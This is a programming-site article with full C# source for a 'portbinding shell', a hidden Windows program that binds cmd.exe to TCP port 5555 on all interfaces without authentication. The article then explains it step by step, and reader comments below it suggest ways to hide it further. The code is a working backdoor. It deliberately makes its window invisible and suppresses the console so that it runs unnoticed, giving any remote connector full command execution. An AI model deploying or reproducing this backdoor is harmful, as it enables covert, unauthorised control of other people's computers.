Click here to Skip to main content
15,886,629 members
Articles / Programming Languages / C#

Portbinding Shell

Rate me:
Please Sign up or sign in to vote.
3.06/5 (9 votes)
16 Sep 2007CPOL4 min read 37.5K   317   43   7
cmd.exe invisibly binds to port 5555 and waits for connections. Telnet, PuTTY, or Netcat and get a shell.

Screenshot - PortBindingCmd.jpg

Introduction

In this article, we will build something called a Portbinding Shell. What is a Portbinding Shell? Simply put, it is a cmd.exe shell that is bound to a port. When this program runs, it listens on a TCP port, e.g., 5555. You then PuTTY, Netcat, or Telnet to it from another PC, e.g.:

C:\telnet 192.168.0.1 5555

And immediately you get:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

You can now type any command and it will execute on the server. The C:\ prompt will appear after executing the first command. This runs on WinXP and Vista.

Using the Code

Create a Windows Application (not console application) and compile in Visual C# 2005 Express. Set the Form's opacity to 0. Insert a Form_Shown event handler. The full source code is as below:

C#
//
// Portbinding Shell - by Paul Chin
// Updates:
// Aug 24, 2007 - Enabled re-connections
// Aug 27, 2007 - Cleans up cmd.exe processes upon disconnect
//

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;            //for Streams
using System.Diagnostics;   //for Process

namespace PortbindingCmd
{
    public partial class Form1 : Form
    {
        TcpListener tcpListener;
        Socket socketForClient;
        NetworkStream networkStream;
        StreamWriter streamWriter;
        StreamReader streamReader;
        Process processCmd;
        StringBuilder strInput;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            tcpListener = new TcpListener(System.Net.IPAddress.Any, 5555);
            tcpListener.Start();
            for(;;) RunServer();
        }

        private void RunServer()
        {
            socketForClient = tcpListener.AcceptSocket();
            networkStream = new NetworkStream(socketForClient);
            streamReader = new StreamReader(networkStream);
            streamWriter = new StreamWriter(networkStream);

            processCmd = new Process();
            processCmd.StartInfo.FileName = "cmd.exe";
            processCmd.StartInfo.CreateNoWindow = true;
            //processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            processCmd.StartInfo.UseShellExecute = false;
            processCmd.StartInfo.RedirectStandardOutput = true;
            processCmd.StartInfo.RedirectStandardInput = true;
            processCmd.StartInfo.RedirectStandardError = true;
            processCmd.OutputDataReceived += 
                           new DataReceivedEventHandler(CmdOutputDataHandler);
            processCmd.Start();
            processCmd.BeginOutputReadLine();
            strInput = new StringBuilder();


            while (true)
            {
                try
                {
                    strInput.Append(streamReader.ReadLine());
                    strInput.Append("\n");
                    processCmd.StandardInput.WriteLine(strInput);
                    if (strInput.ToString().LastIndexOf("terminate")>=0) StopServer();
                    if (strInput.ToString().LastIndexOf("exit") >= 0)
                        throw new ArgumentException();
                    strInput.Remove(0,strInput.Length);
                }
                catch (Exception err) 
                {
                    Cleanup();
                    break;
                }
               //Application.DoEvents();
            }
        }

        
        private void Cleanup()
        {
            try { processCmd.Kill(); } catch (Exception err) { };
            streamReader.Close();
            streamWriter.Close();
            networkStream.Close();
            socketForClient.Close();
        }

        private void StopServer()
        {
            Cleanup();
            System.Environment.Exit(System.Environment.ExitCode);
        }
 
       
       private void CmdOutputDataHandler(object sendingProcess, 
                    DataReceivedEventArgs outLine)
       {
            StringBuilder strOutput = new StringBuilder();
            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }//end ComdOutputDataHandler
    }//end Class Form1
}

PuTTY, Netcat, or Telnet to port 5555. You can then run any command from the command line. You can Telnet 127.0.0.1 if you don't have two PCs or a Virtual PC. You can disconnect and re-connect as many times as you like. To terminate the server, send the "terminate" command.

Points of Interest

Note that this is a Windows Application and not a Console Application. I chose Windows Application so that I can hide the server when it runs. A console application will pop up a DOS window.

Start a new Windows Application. Set the Form's Opacity property to 0. And also insert a Form_shown event handler.

The form will flash briefly when run, that is why I set the Opacity property to 0.

We will need these two libraries for using streams and for creating processes:

C#
using System.IO; //for Streams
using System.Diagnostics; //for Process 

These are the sockets and streams that we need:

C#
TcpListener tcpListener;
Socket socketForClient;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader; 

This object is for holding the cmd.exe process which we will be creating later:

C#
Process processCmd; 

This StringBuilder will be used later, to store the commands that the client sends to the server:

C#
StringBuilder strInput; 

Note that we will need to insert a Form1_Shown event handler:

C#
private void Form1_Shown(object sender, EventArgs e)
{
   this.Hide();
   tcpListener = new TcpListener(System.Net.IPAddress.Any, 5555);
   tcpListener.Start();
   for(;;) RunServer();
}

We could not use Form1_Load because it will not hide our form. Set the Form's Opacity to 0 and insert this.Hide(). The form will flash briefly before becoming invisible, that is why we need to set its Opacity to 0. It will create a port on 5555 and wait for connections. It then calls the RunServer() method:

C#
private void RunServer()
{
    ...
} 

The above is the main method for the server. Within it, the server waits for connections, and when a client connects, it creates a socket to communicate with the client:

C#
socketForClient = tcpListener.AcceptSocket(); 

The next three lines creates the necessary streams so that the server is able to read from the socket and also write to the socket:

C#
networkStream = new NetworkStream(socketForClient);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream); 

Next, we create the processes and its startup-info. The startup-info are the parameters that are used to run our process. The process is cmd.exe - the command line shell:

C#
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
//processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived +=
new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
strInput = new StringBuilder(); 

Note that we set CreateNoWindow to true so that the process will not pop-up a DOS window when run. ProcesssWindowStyle.Hidden is optional, it makes no difference. UseShellExecute must be set to false in order to redirect the processes' StandardOutput, StandardInput, and StandardError. Once we redirect each input or output stream, pipes are created for each as shown in Fig. A below:

                      Read
                       | |
                       | | [StandardOut]
                       | |
Read --- cmd.exe -----Write
| |                   Write
| | [StandardIn]       | |
| |                    | | [StandardError]
Write                  | |
                       Read
Fig. A - Linking three pipes to the cmd.exe process

However, redirecting the input and output streams is not enough. We need to handle those streams. For example, to handle the StandardOutput and StandardError streams, we declare a OutputDataReceived event handler and write a method to handle it:

C#
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
    StringBuilder strOutput = new StringBuilder();
    if (!String.IsNullOrEmpty(outLine.Data))
    {
        try
        {
            strOutput.Append(outLine.Data); 
            streamWriter.WriteLine(strOutput);
            streamWriter.Flush();
        }
        catch (Exception err) { }
     }
}

Below is the main loop of the server. The try-catch block is designed to close all cmd.exe processes, sockets, and streams cleanly whenever the client disconnects. When a client suddenly disconnects, it will throw an exception which is caught by the catch-block. The catch-block will call the Cleanup() method to close all cmd.exe processes, streams, and sockets for re-use. The break statement returns control to the for(;;) loop in the Form_Shown event handler, which then spawns another socket by calling RunServer(). The client is able to re-connect again and again. Note that the program is also designed to deliberately throw an ArgumentException() if the client sends the "exit" command. This is so that the catch-block will catch it and Cleanup() the cmd.exe processes, streams, and sockets for re-use.

The code in the try-block is to read the data sent by the client and then inject it into the StandardIn pipe of the cmd.exe process. This data is the command sent by the client. The cmd.exe process will then execute the command and then send its output to the StandardOut pipe. This will generate an OutputDataReceived event which will, in turn, call CmdOutputDataHandler as discussed above. The strInput.Remove() method is to empty the StringBuilder before we accept new data from the client. If the client sends the "terminate" command, the program will call the StopServer() method to stop the server and exit the program. Once the server is terminated, the client will not be able to re-connect.

C#
while (true)
{
   try
   {
      strInput.Append(streamReader.ReadLine());
      strInput.Append("\n");
      processCmd.StandardInput.WriteLine(strInput);
      if (strInput.ToString().LastIndexOf("terminate")>=0) StopServer();
      if (strInput.ToString().LastIndexOf("exit") >= 0)
          throw new ArgumentException();
      strInput.Remove(0,strInput.Length);
   }
   catch (Exception err)
    {
       Cleanup();
       break;
    } //Application.DoEvents();
}

Updates

At all times, the source code above is the latest code. The source code download is also the latest version. Last update was on August 27, 2007. See the comments on the header of the source code for update history.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Malaysia Malaysia
Coder and Instructor at:

https://crackinglessons.com
https://crackinglesson.com
https://www.udemy.com/user/paulchin/

Comments and Discussions

 
QuestionThis code has been incorporated in my Udemy Course Pin
Paul Chin PC15-Nov-21 22:12
Paul Chin PC15-Nov-21 22:12 
GeneralMy vote of 5 Pin
(BlackBox) Ethical Hacker31-Oct-10 5:45
(BlackBox) Ethical Hacker31-Oct-10 5:45 
GeneralInvisible console app Pin
philippe dykmans1-May-10 10:40
philippe dykmans1-May-10 10:40 
Since you make it a WinForm app for the sole purpose of making it invisible, you can do that with a console app too. Start a new project of type 'console application'. After that, go to the project properties and switch to 'winform app'. You then have a console app that doesn't display a console box.

Regards,
Philippe
Philippe Dykmans
Software developpement
Advanced Bionics Corp.

QuestionWhy? Pin
Pete Appleton27-Aug-07 22:29
Pete Appleton27-Aug-07 22:29 
AnswerRe: Why? Pin
Paul Chin PC16-Sep-07 18:22
Paul Chin PC16-Sep-07 18:22 
GeneralSplit Pin
Sacha Barber22-Aug-07 23:57
Sacha Barber22-Aug-07 23:57 
GeneralRe: Split Pin
Paul Chin PC23-Aug-07 6:50
Paul Chin PC23-Aug-07 6:50 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.